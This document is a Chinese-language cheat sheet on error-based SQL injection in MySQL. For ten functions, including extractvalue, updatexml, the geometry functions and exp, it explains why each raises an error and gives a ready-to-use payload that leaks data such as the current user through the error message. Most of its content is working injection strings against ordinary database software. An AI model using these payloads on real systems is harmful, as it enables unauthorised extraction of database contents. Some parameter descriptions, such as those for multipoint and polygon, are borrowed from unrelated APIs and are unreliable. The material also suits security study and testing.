报错注入
MySQL的基于C++编写的,函数可以参考C++函数
1.floor():向下取整,返回小于等于该值的最大整数
报错原理:如果不是整数就会报错
2.extractvalue():MySQL5.1.5以上版本才支持
从目标XML中返回包含所查询值的字符串,
EXTRACTVALUE (XML_document, XPath_string);
第一个参数:XML_document是String格式,为XML文档对象的名称
第二个参数:XPath_string (Xpath格式的字符串)
报错原理:一般在第二个参数输入需要查询的内容,只要不是xpath格式字符串就成
select * from test where id=1 and (extractvalue(1,concat(0x7e,(select user()),0x7e)));
3.updatexml():UPDATEXML (XML_document, XPath_string, new_value);
第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc
第二个参数:XPath_string (Xpath格式的字符串) ,如果不了解Xpath语法,可以在网上查找教程。
第三个参数:new_value,String格式,替换查找到的符合条件的数据
作用:改变文档中符合条件的节点的值
报错原理:和上面的extractvalue()函数一样,只要改变传输的字符串不为xpath格式就行
select * from test where id=1 and (updatexml(1,concat(0x7e,(select user()),0x7e),1));
4.geometrycollection():5.5<MySQL版本<5.6
空间函数:geometrycollection(point(10 10), point(30 30), linestring(15 15, 20 20))
报错原理:MYSQL无法用这样字符串画出图形
5.multipoint():地图函数:Multipoint (inputs, {spatial_reference}, {has_z}, {has_m})
inputs:用于创建对象的坐标。数据类型可以是 Point 或 Array 对象。
spatial_reference:新几何的空间参考。
has_z:Z 状态:如果启用 Z,则为几何的 True,如果未启用,则为 False。(默认值为 False)
has_m:M 状态:如果启用 M,则为几何的 True,如果未启用,则为 False。(默认值为 False)
报错原理:和geometrycollection()报错原理一致
select * from test where id=1 and multipoint((select * from(select * from(select user())a)b));
6.polygon():地图函数:多边形
第一个参数是点数组指针
第二个参数是点的个数
报错原理:和geometrycollection()报错原理一样
select * from test where id=1 and polygon((select * from(select * from(select user())a)b));
7.multipolygon():地图函数:多边形集合,多个Polygon 实例的集合
报错原理:和geometrycollection()报错原理一样
select * from test where id=1 and multipolygon((select * from(select * from(select user())a)b));
8.linestring():地图函数:线函数
报错原理:和geometrycollection()报错原理一样
select * from test where id=1 and linestring((select * from(select * from(select user())a)b));
9.multilinestring():线集合函数
报错原理:和geometrycollection()报错原理一样
select * from test where id=1 and multilinestring((select * from(select * from(select user())a)b));
10.exp():指数函数
报错类型:只能处理数字类型,输入字符型报错
select * from test where id=1 and exp(~(select * from(select user())a));